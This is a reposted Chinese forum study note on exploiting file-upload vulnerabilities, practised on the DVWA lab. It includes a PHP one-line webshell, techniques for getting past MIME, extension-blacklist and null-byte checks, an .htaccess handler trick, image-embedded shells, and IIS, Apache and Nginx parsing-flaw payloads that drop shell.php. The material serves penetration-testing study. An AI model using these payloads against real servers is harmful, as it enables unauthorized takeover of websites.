安全矩阵

 找回密码
 立即注册
搜索
查看: 2567|回复: 0

Web安全实战系列笔记 | 文件上传实战和分析(六)

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-9-24 17:38:53 | 显示全部楼层 |阅读模式
原文链接:Web安全实战系列笔记 | 文件上传实战和分析(六)

本系列实战笔记为红日安全核心人员学习渗透测试期间记录实战笔记,该笔记主要记录自己学习Web安全和渗透测试一个时间路线,希望可以帮助目前在学习Web安全或者是学习渗透测试的同学不知如何下手,或者是对这个方向比较感兴趣的同学,目前该笔记包含以下几个方向内容:
1、黑客工具使用;
2、Web安全方向,包含SQL注入、XSS跨站、命令执行、SSRF等Web安全方向知识;
3、PHP语言讲解笔记
4、PHP代码审计笔记
5、WAF绕过笔记
6、逻辑漏洞学习笔记
希望阿痕自己学习笔记可以帮助更多想学习Web安全同学,另外该笔记为系列文章,转载请标注来源
1 前言
通常再一个web程序中,一般会存在登陆注册功能,登陆后一般会有上传头像等功能,如果上传验证不严格就可能造成攻击者直接上传木马,进而控制整个web业务控制权。下面通过实例,如果程序只进行了客户端JavaScript检测,咱们如何来绕过。2 正文
2.1 客户端后缀检测

工具准备:DVWA程序,burpsuite,中国菜刀。
首先本地创建一个.txt文档,里面写入咱们的一句话木马,然后将后缀名改为.php,一句话木马为
<?php eval($_POST[-7]);?>      //连接菜刀的密码为-7
然后打开DVWA程序,将安全模式改为medium(中级),点击 File Upload模块,然后将咱们刚才创建的一句话.php文件上传,然后咱们发现被阻止了,只允许上传JPEG和PNG两种格式。

接下来。咱们将写入一句话的文件,后缀改为.png格式,然后通过burpsuite抓包

然后咱们发现,放行后,文件成功上传

然后咱们去根目录找一找,果然找到了咱们上传的文件

接下来,打开中国菜刀,输入上传木马的路径,输入密码,发现获取到目标网站的webshell

2.2 服务端MIME类型检测绕过
检测原理:用户上传文件时,服务器会获取这个文件的MIME值,与事先设置好的进行比对,如果不一致,说明上传文件非法。
咱们查看一下源代码,代码来源与DVWA
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
  // Where are we going to be writing to?
  $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  // File information
  $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
  $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  // Is it an image?
  if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
      ( $uploaded_size < 100000 ) ) {
      // Can we move the file to the upload folder?
      if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
          // No
          echo '<pre>Your image was not uploaded.</pre>';
      }
      else {
          // Yes!
          echo "<pre>{$target_path} succesfully uploaded!</pre>";
      }
  }
  else {
      // Invalid file
      echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  }
}
?>
通过分析第16行代码可以知道,我们将content-type 值改为image/jpeg,image/png,就可以绕过,因为页面不显示,咱们需要通过抓包工具进行修改。

2.3 服务端文件扩展名检测绕过
2.3.1 黑名单检测绕过
在我们的web程序中,一般有个blacklist文件,里面会包含常见的危险脚本文件,不过这种黑名单相当不靠谱,一般会包含下图这些。可以使用各种方法绕过。

(1)文件大小写绕过
只要把我们把后缀改为 pHp,Asp等就可以尝试绕过。
(2)名单列表绕过
可以尝试使用黑名单没有的一些后缀名,如 asa cer 等等
(3)特殊文件名绕过
我们可是使用 xxx.asp. 或者 xxx.asp_ 等等,这样的命名方式,再Windows系统里是不行的,需要抓包修改。绕过验证后,Windows系统会自动去掉下滑线等。需要注意的是Unix和Linux没有这种特性,因为他们不区分大小写。
(4)0x00 截断绕过
这里的00对应的是16进制里面的,相当于一个空格,当系统读取到设置的那里就会停止向下读取。实现咱们的目的。比如上传php.php.png 文件,里面包含一句话木马,我们只需要将第二个小黑点改为空格,也就是将16进制的2e 改为00

(5) .htaccess文件攻击
这个就比较邪恶了,如果可以上传.htaccess文件的话,文件里面输入如下内容
<FilesMatch "shuaige">
SetHandler application/x-httpd-php
</FilesMatch>
然后再上传一个文件,不需要后缀名,文件名没要求,需要注意的是这个文件不仅要包含一句话木马,还要有.htaccess里面的"shuaige" ,之后通过菜刀连接就可以了。

2.3.2 白名单检测绕过
白名单相对于黑名单安全很多,方法相对也较少,可以尝试.htaccess上传攻击。
2.4 服务端文件内容检测绕过

如果对文件内容检测较为严格,可以在图片中插入一句话木马,如果手工插的话可能破坏图片结构,推荐使用工具插入,比如 edjpgcom ,只需要将托向它,它会弹出一个框框,在里面输入一句话木马就可以了。工具需要的自行下载。工具只支持 jpg格式的图片
链接:https://pan.baidu.com/s/1nDogyIOAXvAR_OxQraALpw 提取码:gtwn 拖入后,写入一句话木马,记事本打开图片查看,发现完美插入图片中

2.5 解析漏洞

(1) IIS5.x-6.x解析漏洞
这个比较古老了,这个解析漏洞只能解析.asp文件,对aspx没办法。
  •         目录解析
在服务器中,如果有个.asp后缀的目录,此目录下的任何格式,都会以.asp脚本执行,如
http://www.hahaha.com/haha.asp/ha.png
  •         文件解析
如果在一个文件asp后缀加一个分号,在接.png 上传成功后,服务器解析分号前就会停止解析,就说明ha.asp;.png会当做ha.asp文件执行  
http://www.hahaha.com/ha.asp;.png
  •         解析文件类型
IIS6.0 默认的可执行文件有asp、asa、cer、cdx四种。
(2)  Apache解析漏洞
Apache解析文件的顺序是从右向左,如果右边的格式它不认识,就会依次向左判断,如果一个文件名为 xxx.php.rar.zip,因为Apache 不认识“rar”和“zip”,所以文件最后会以xxx.php执行。
http://www.hahaha.com/ha.php.rar.zip
(3)  Nginx解析漏洞
  •         Nginx中php配置错误导致的解析漏洞
我们来构造一个URL  ,xxx/123.png/456.php(456.php是咱们瞎写的,里面没内容,木马在123.png里面,Nginx一看后缀是php,就交给php处理了,php处理发现456.php没有,删掉这个继续向前解析,然后会将咱们的123.png执行(php比较老的版本才会执行)
这其中涉及到php的一个选项:cgi.fix_pathinfo,它默认是开启的,看名字就知道这是和文件路径有关,举个例子,111.php/222.php/333.php/,如果它找不到这个文件,会去掉最后333.php,执行111.php/222.php 如果没有,继续刚才的操作。
这个选项可以在配置文件php.ini中关闭,但是关闭可能会遇到各种问题,所以在后来的新版的php中,引入了“security.limit_extensions”,他的功能是默认只执行.php文件,所以在现在的版本php版本中,基本很难被利用了。
  •         Nginx(<8.03)畸形解析漏洞
在默认FAST-GGI开启情况下,我们上传一个xxx.jpg的文件,里面代码如下
<?PHP fputs(fopen('shell.php','w'),'<?php eval ($_POST[cmd])?>');?>
然后访问xxx.jpg/.php,在这个目录下就会生成 shell.php
  •         Nginx(<8.03) 空字节代码执行漏洞
这个也是在图片中插入代码,并且命名为xxx.jpg ,直接访问 xxx.jpg%00.php来执行其中的代码。
最后,这里有一个流程图,测试的时候可以按照这个思路走。

3 总结

1. 找到文件上传点,测试发现存在上传漏洞。
2. 发现只进行了客户端JavaScript检测以及服务端检测和解析漏洞。
3. 通过burpsuite 抓包,修改文件后缀名绕过检测和白黑名单绕过,上传一句话木马。
4. 通过中国菜刀进行连接
5. 获取到目标网站webshell


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 13:11 , Processed in 0.020334 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表